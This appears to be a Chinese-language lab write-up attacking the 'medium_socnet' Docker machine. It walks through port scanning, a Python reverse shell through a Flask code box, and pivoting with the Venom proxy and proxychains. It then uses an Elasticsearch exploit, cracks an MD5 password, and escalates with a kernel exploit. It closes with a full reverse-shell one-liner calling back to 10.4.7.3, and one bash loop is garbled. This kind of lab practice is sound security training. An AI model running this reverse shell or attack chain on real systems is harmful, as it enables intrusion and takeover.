medium_socnet docker
-
扫描ip端口发现开启着5000端口
-
手动爆破到了admin目录
-
发现代码框在wap指纹里发现flask框架搜索过后发现有python漏洞
-
在代码框执行python反弹shell
-
反弹进入靶机后发现是在一个docker容器里
查看是否处于docker容器有两种方法
- 查看根目录下是否存在.dockerenv文件
- 查看/proc/1/cgroup文件里是否有docker字符串
-
使用bash脚本来扫描网段存活的主机for i in ( s e q 1254 ) ; d o p i n g − c 1172.17.0. (seq 1 254);do ping -c 1 172.17.0. (seq1254);doping−c1172.17.0.i;done
-
确认自己处于docker容器中之后有4种办法这里只用到了代理
- 做代理在kali上下载https://github.com/Dliv3/Venom/releases/tag/v1.1.0里的.7z文件
其他文件目前无法编译直接用现成
-
在venom文件夹种启动admin_linux_64 并开启一个监听端口文件这个是管理员端 启动
-
启动命令为./admin_linux_64 -lport 9999
-
进入工具之后将客户端agent_linux_x64用wget命令传入到目标机中
-
在目标机中给客户端赋权然后开启文件并要添加kali的ip 和开放监听的端口 ./agent_linux_x64 -rhost 10.4.7.3 -rport 9999
-
返回kali在管理员端里选择id进入
- goto 1
- socks 1080
-
将kali的全局代理打开
vi /etc/proxychains4.conf
在最后一行加入socks5 127.0.0.1 1080 将socks4注释掉
-
这样就开启了全局代理根据proxychains命令就可以使用代理这样就可以和宿主机在同一个网段了
-
用 proxychains nmap -sV -sT -Pn 来探测存活主机的端口和开放服务
-
扫描到172.17.0.2主机有开放elasticsearch服务该服务是有漏洞
-
在kali的漏洞库再到该服务所对应版本的漏洞36377.py直接可以进行shell 但是在使用时前面要加proxychains代理
-
shell之后开始收集信息找到password文件对里面的md5密钥进行解密后只有john用户的密码可以进行远程连接密码是1337hack
-
ssh之后进行内核漏洞提权漏洞编号为37292.c但是在目标机上是没有gcc命令只能在本机编译
-
但是在编译之前需要调试代码将138行不包括138行到148行不包括148行之间的代码注释掉因为其中包含了gcc代码
-
注释完成后放入centos进行编译因为kali的gcc版本过高导致exp无法使用
-
再一个是需要找到漏洞文件里提到的ofs-lib.so文件因为没有gcc环境目标机是没有这个ofs-lib.c库的我们可以将ofs-lib.so文件传入靶机
os文件就是动态链接用来可以存储可执行代码和数据
这样没有ofs-lib库的问题就解决啦
-
将两个文件一同传入靶机执行exp就是root权限了
总结
这个靶机的难点在于正向代理流量转发再一个就是exp的使用
看到.dockerenv文件第一要想到docker逃逸
最后再吐槽一下这个靶机真的真的真的烦,老是连不上 每次都要重启😭😭😭😭
python反弹shell
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.4.7.3",10002));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);
配置proxychains代理命令
vi /etc/proxychains4.conf
目标机赋权命令
chmod 777 agent_linux_x64
目标机连接命令
./agent_linux_x64 -rhost 10.4.7.3 -rport 10006